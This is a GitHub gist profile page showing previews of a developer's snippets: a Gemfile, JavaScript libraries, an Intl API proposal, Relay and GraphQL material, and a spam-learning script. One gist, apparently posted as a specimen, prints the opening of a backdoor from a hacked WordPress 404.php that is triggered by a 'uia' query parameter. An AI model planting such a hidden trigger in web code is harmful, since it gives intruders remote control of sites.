Skip to content

Instantly share code, notes, and snippets.

View steveluscher's full-sized avatar

Steven Luscher steveluscher

View GitHub Profile
source 'https://rubygems.org'
# Rails
gem 'rails', '3.2.8'
# Database - MySQL
gem 'mysql2'
# Gems used only for assets and not required
# in production environments by default.
@steveluscher
steveluscher / gist:4158570
Created November 28, 2012 01:59
Hacked WordPress 2.4.8 404.php
<?php
if(isset($_GET['uia'])) {
clearstatcache();
set_magic_quotes_runtime(0);
if(!function_exists('ini_set')){
function ini_set(){
return FALSE;
}
}
ini_set('output_buffering',0);
var Faye = (typeof Faye === 'object') ? Faye : {};
if (typeof window !== 'undefined') window.Faye = Faye;
Faye.extend = function(dest, source, overwrite) {
if (!source) return dest;
for (var key in source) {
if (!source.hasOwnProperty(key)) continue;
if (dest.hasOwnProperty(key) && overwrite === false) continue;
if (dest[key] !== source[key])
dest[key] = source[key];
// Knockout JavaScript library v
// (c) Steven Sanderson - http://knockoutjs.com/
// License: MIT (http://www.opensource.org/licenses/mit-license.php)
(function() {function j(k){throw k;}var n=!0,q=null,v=!1;function J(k){return function(){return k}};(function(k){var z=this||(0,eval)("this"),s=z.document,V=z.navigator,t=z.jQuery,H=z.JSON;!function(k){"function"===typeof require&&"object"===typeof exports&&"object"===typeof module?k(module.exports||exports):"function"===typeof define&&define.amd?define(["exports"],k):k(z.ko={})}(function(A){function sa(a,d,c,e,f){var g=[];a=b.j(function(){var a=d(c,f,O(g))||[];0<g.length&&(b.a.eb(g,a),e&&b.m.w(e,q,[c,a,f]));g.splice(0,g.length);b.a.R(g,a)},q,{Z:a,Qa:function(){return!b.a.pb(g)}});return{N:g,j:a.ua()?
a:k}}function O(a){for(;a.length&&!b.a.$(a[0]);)a.splice(0,1);if(1<a.length){for(var d=a[0],c=a[a.length-1],e=[d];d!==c;){d=d.nextSibling;if(!d)return;e.push(d)}Array.prototype.splice.apply(a,[0,a.length].concat(e))}return a}function W(a,b,c,e,f){var g=Math.min,h
@steveluscher
steveluscher / gist:4b54e08aa1e0536b7cb9
Last active April 30, 2021 21:28
Proposed abbreviation API for Intl.NumberFormat

Intl.NumberFormat

Syntax

new Intl.NumberFormat([locales[, options]])
Intl.NumberFormat.call(this[, locales[, options]])

Parameters

/*
* Copyright (C) 2012 Eike Send
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to
* deal in the Software without restriction, including without limitation the
* rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
* sell copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
@steveluscher
steveluscher / gist:817471b8ab0af42f5d67
Created July 5, 2015 19:22
Simple way to apply a class to an HTML document if Javascript is disabled
<!DOCTYPE html>
<html class="no-js">
<head>
<script type="text/javascript">
// If JavaScript is enabled, this code will synchronously modify the <html>
// element's class attribute, before anything else has a chance to run.
document.documentElement.className = document.documentElement.className.replace(
/(^|\s)no-js(\s|$)/,
'$1js$2'
);
@steveluscher
steveluscher / StoriesApp.js
Last active December 2, 2015 16:26
[WIP] New Relay Tutorial App
class Comment extends React.Component {
render() {
var {comment} = this.props;
var {author} = comment;
var savePending = this.props.relay.hasOptimisticUpdate(this.props.comment);
return (
<div style={{opacity: savePending ? 0.4 : null}}>
<img src={author.avatar} width={16} /> <strong>{author.name}</strong> {comment.text}
{savePending &&
<img src="data:image/gif;base64,R0lGODlhEgASAPMAADMzMw0NDUtLS21tbY+Pj6+vr83Nzf7+/vr6+vPz8+bm5gAAAAAAAAAAAAAAAAAAACH5BAAKAAAAIf8LTkVUU0NBUEUyLjADAQAAACwAAAAAEgASAAAEjPDISauViZiDCkHXpAgDKADKhSSHMghGAZQtOBVDoRACwROZAIGCGwwMvQGgcFpSEAYjQbFyAWCsCQKhKBiyB5xCkUiACMbB8CkIBK4stPSZALgDAts24SUOqBwUOwQ6e20BBRUGPhoFXl52QjZhGlAaMV8DAQMVWR5jjiBkFzuJHQVgIQYbLawhrxURACH5BAAKAAAALAAAAAASABIAgwsLCy0tLWxsbFBQUJGRka6urs7Ozv7+/vn5+fPz8+bm5gAAAAAAAAAAAAAAAAAAAASL8Mh5EKIYo2JqIRmmDAKSDIMSHokkCIZBSso1FfA2EMSeEAHQxPAiEHkDYmBQwBgIAoIKoRAsO5SLoqCSIJ6KhMUT5WUGgfRAwuM1MegAYF2xbLsSXNg22RIKFgkyAAGAFAYfXAUFAwCMAI58TwZfHAIAJUACWTaLW4R2fFmLFpBYKwcGXTiiqF4hEQAh+Q
@steveluscher
steveluscher / spampipe.sh
Created May 10, 2016 05:43
Learn spam in serial
#!/bin/bash
# Exit if *any* error is encountered
set -e
lockfile="/tmp/.sa-learn-lock"
# Make sure the lockfile exists
touch $lockfile
(
@steveluscher
steveluscher / graphql-js-migration-guide.md
Last active September 26, 2016 13:01
GraphQL 0.6.0 migration guide

GraphQL 0.6.0 migration guide

This version of graphql-js introduces a breaking change to the method signature of the resolve() method.

Previously, resolve() had this method signature:

type GraphQLResolveInfo = {
  fieldName: string,
 fieldASTs: Array,